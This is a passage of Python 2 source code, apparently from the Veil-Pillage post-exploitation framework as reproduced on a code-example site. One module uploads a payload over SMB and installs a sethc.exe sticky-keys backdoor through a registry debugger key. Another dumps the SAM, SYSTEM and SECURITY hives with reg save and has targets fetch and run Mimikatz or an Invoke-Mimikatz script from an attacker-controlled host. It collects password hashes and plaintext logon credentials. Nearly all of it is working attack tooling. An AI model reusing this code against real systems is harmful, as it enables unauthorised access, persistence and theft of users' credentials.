                print helpers.color(" [!] No output from Veil-Evasion", warning=True)
                raw_input("\n [>] Press enter to continue: ")
                return ""

        # if we have a custom-specified .exe, use that instead
        else:
            payloadPath = self.required_options["exe_path"][0]

            # if the .exe path doesn't exist, print and error and return
            if not os.path.exists(payloadPath):
                print helpers.color("\n\n [!] Invalid .exe path specified", warning=True)
                raw_input("\n [>] Press enter to continue: ")
                return ""


        # make sure the name ends with ".exe"
        if not uploadName.endswith(".exe"):
            uploadName += ".exe"

        # copy the resulting binary into the temporary directory with the appropriate name
        os.system("cp "+payloadPath+" /tmp/"+uploadName)

        for target in self.targets:

            baseName = payloadPath.split("/")[-1]

            # upload the payload to C:\Windows\System32\
            smb.uploadFile(target, username, password, "C$", "\\Windows\\","/tmp/"+uploadName)            
            self.output += "[*] Binary '"+baseName+"' uploaded to C:\\Windows\\"+uploadName+" using creds '"+username+":"+password+"' on : " + target + "\n"

            # the registry command to set up the sethc stickkeys backdoor for the binary
            sethcCommand = "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /f /v Debugger /t REG_SZ /d \"C:\\Windows\\"+uploadName+"\""

            # execute the sethc command and get the result
            sethcResult = command_methods.executeResult(target, username, password, sethcCommand, triggerMethod)

            if sethcResult == "":
                self.output += "[!] No result file, SETHC backdoor enable failed using creds '"+username+":"+password+"' on : " + target + "\n"
            elif "The operation completed successfully" in sethcResult:
                self.output += "[*] SETHC backdoor successfully enabled using creds '"+username+":"+password+"' on : " + target + "\n"

                # build our cleanup -> deleting this registry run value
                cleanupCMD = "REG DELETE \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /v Debugger /f"
                self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+cleanupCMD+"|"+triggerMethod+"\n"
Example #59
0
    def run(self):

        # assume single set of credentials for this module
        username, password = self.creds[0]

        lhost = self.required_options["lhost"][0]
        use_ssl = self.required_options["use_ssl"][0]
        force_method = self.required_options["force_method"][0]
        delay = self.required_options["delay"][0]
        out_file = self.required_options["out_file"][0]

        # let's keep track of all credentials found
        allhashes, allmsv, allkerberos, allwdigest, alltspkg = [], [], [], [], []

        for target in self.targets:

            powershellInstalled = False

            # check if we're forcing a particular grab method
            if force_method.lower() == "binary":
                powershellInstalled = False
            elif force_method.lower() == "powershell":
                powershellInstalled = True
            else:
                # check if we have a functional Powershell installation
                powershellCommand = 'powershell.exe -c "$a=42;$a"'
                powershellResult = command_methods.executeResult(target, username, password, powershellCommand, "wmis")
                if powershellResult.strip() == "42":
                    powershellInstalled = True

            if powershellInstalled:

                # do powersploit combined file of invoke-mimikatz and powerdump
                print helpers.color("\n [*] Powershell installed on " + target)
                self.output += "[*] Powershell installed on " + target + ", using autograb.ps1\n"

                # the temporary output file we will write to
                if "\\" not in out_file:
                    # otherwise assume it's an absolute path
                    out_file = "C:\\Windows\\Temp\\" + out_file

                # path to the combined Invoke-Mimikatz/powerdump powershell script
                secondStagePath = settings.VEIL_PILLAGE_PATH + "/data/misc/autograb.ps1"

                # trigger the powershell download on just this target
                delivery_methods.powershellHostTrigger(
                    target,
                    username,
                    password,
                    secondStagePath,
                    lhost,
                    "",
                    triggerMethod="winexe",
                    outFile=out_file,
                    ssl=use_ssl,
                    noArch=True,
                )

                print "\n [*] Waiting " + delay + "s for Autograb to run..."
                time.sleep(int(delay))

                # grab the output file and delete it
                out = smb.getFile(target, username, password, out_file, delete=True)

                # save the file off to the appropriate location
                saveFile = helpers.saveModuleFile(self, target, "autograb.txt", out)

                # parse the mimikatz output and append it to our globals
                (msv1_0, kerberos, wdigest, tspkg) = helpers.parseMimikatz(out)
                allmsv.extend(msv1_0)
                allkerberos.extend(kerberos)
                allwdigest.extend(wdigest)
                alltspkg.extend(tspkg)

                # parse the powerdump component
                hashes = helpers.parseHashdump(out)
                allhashes.extend(hashes)

                if out != "":
                    self.output += (
                        "[*] Autograb.ps1 results using creds '"
                        + username
                        + ":"
                        + password
                        + "' on "
                        + target
                        + " stored at "
                        + saveFile
                        + "\n"
                    )
                else:
                    self.output += (
                        "[!] Autograb.ps1 failed using creds '"
                        + username
                        + ":"
                        + password
                        + "' on "
                        + target
                        + " : no result file\n"
                    )

            else:
                # do reg.exe for hashdump and host/execute for mimikatz
                print helpers.color("\n [!] Powershell not installed on " + target, warning=True)
                print helpers.color("\n [*] Using reg.exe save method for hash dumping on " + target)
                self.output += "[!] Powershell not installed on " + target + "\n"

                # reg.exe command to save off the hives
                regSaveCommand = "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\system /y && reg save HKLM\\SECURITY C:\\Windows\\Temp\\security /y && reg save HKLM\\SAM C:\\Windows\\Temp\\sam /y"

                # execute the registry save command
                command_methods.executeCommand(target, username, password, regSaveCommand, "wmis")

                print helpers.color("\n [*] Dumping hashes on " + target)

                # sleep for 5 seconds to let everything backup
                time.sleep(5)

                # grab all of the backed up files
                systemFile = smb.getFile(target, username, password, "C:\\Windows\\Temp\\system", delete=False)
                securityFile = smb.getFile(target, username, password, "C:\\Windows\\Temp\\security", delete=False)
                samFile = smb.getFile(target, username, password, "C:\\Windows\\Temp\\sam", delete=False)

                # more error-checking here?
                if systemFile == "":
                    self.output += "[!] File '" + systemFile + "' from " + target + " empty or doesn't exist\n"
                else:
                    f = open("/tmp/system", "w")
                    f.write(systemFile)
                    f.close()

                if securityFile == "":
                    self.output += "[!] File '" + securityFile + "' from " + target + " empty or doesn't exist\n"
                else:
                    f = open("/tmp/security", "w")
                    f.write(securityFile)
                    f.close()

                if samFile == "":
                    self.output += "[!] File '" + samFile + "' from " + target + " empty or doesn't exist\n"
                else:
                    f = open("/tmp/sam", "w")
                    f.write(samFile)
                    f.close()

                # get all the hashes from these hives
                out = creddump.dump_file_hashes("/tmp/system", "/tmp/sam")

                # save the output file off
                saveLocation = helpers.saveModuleFile(self, target, "creddump.txt", out)
                self.output += (
                    "[*] dumped hashes (reg.exe) using creds '"
                    + username
                    + ":"
                    + password
                    + "' on "
                    + target
                    + " saved to "
                    + saveLocation
                    + "\n"
                )

                # save these off to the universal list
                hashes = helpers.parseHashdump(out)
                allhashes.extend(hashes)

                # now, detect the architecture
                archCommand = "echo %PROCESSOR_ARCHITECTURE%"
                archResult = command_methods.executeResult(target, username, password, archCommand, "wmis")
                arch = "x86"
                if "64" in archResult:
                    arch = "x64"

                # now time for ze mimikatz!
                mimikatzPath = settings.VEIL_PILLAGE_PATH + "/data/misc/mimikatz" + arch + ".exe"

                # the temporary output file we will write to
                if "\\" not in out_file:
                    # otherwise assume it's an absolute path
                    out_file = "C:\\Windows\\Temp\\" + out_file

                exeArgs = '"sekurlsa::logonPasswords full" "exit" >' + out_file

                # host mimikatz.exe and trigger it ONLY on this particular machine
                # so we can get the architecture correct
                delivery_methods.hostTrigger(
                    target, username, password, mimikatzPath, lhost, triggerMethod="wmis", exeArgs=exeArgs
                )

                print "\n [*] Waiting " + delay + "s for Mimikatz to run..."
                time.sleep(int(delay))

                # grab the output file and delete it
                out = smb.getFile(target, username, password, out_file, delete=True)

                # parse the mimikatz output and append it to our globals
                (msv1_0, kerberos, wdigest, tspkg) = helpers.parseMimikatz(out)

                allmsv.extend(msv1_0)
                allkerberos.extend(kerberos)
                allwdigest.extend(wdigest)
                alltspkg.extend(tspkg)

                # save the file off to the appropriate location
                saveFile = helpers.saveModuleFile(self, target, "mimikatz.txt", out)

                if out != "":
                    self.output += (
                        "[*] Mimikatz results using creds '"
                        + username
                        + ":"
                        + password
                        + "' on "
                        + target
                        + " stored at "
                        + saveFile
                        + "\n"
                    )
                else:
                    self.output += (
                        "[!] Mimikatz failed using creds '"
                        + username
                        + ":"
                        + password
                        + "' on "
                        + target
                        + " : no result file\n"
                    )

        if len(allhashes) > 0:
            allhashes = sorted(set(allhashes))
            self.output += "[*] All unique hashes:\n\t" + "\n\t".join(allhashes) + "\n"
        if len(allmsv) > 0:
            allmsv = sorted(set(allmsv))
            self.output += "[*] All msv1_0:\n\t" + "\n\t".join(allmsv) + "\n"
        if len(allkerberos) > 0:
            allkerberos = sorted(set(allkerberos))
            self.output += "[*] All kerberos:\n\t" + "\n\t".join(allkerberos) + "\n"
        if len(allwdigest) > 0:
            allwdigest = sorted(set(allwdigest))
            self.output += "[*] All wdigest:\n\t" + "\n\t".join(allwdigest) + "\n"
        if len(alltspkg) > 0:
            alltspkg = sorted(set(alltspkg))
            self.output += "[*] All tspkg:\n\t" + "\n\t".join(alltspkg) + "\n"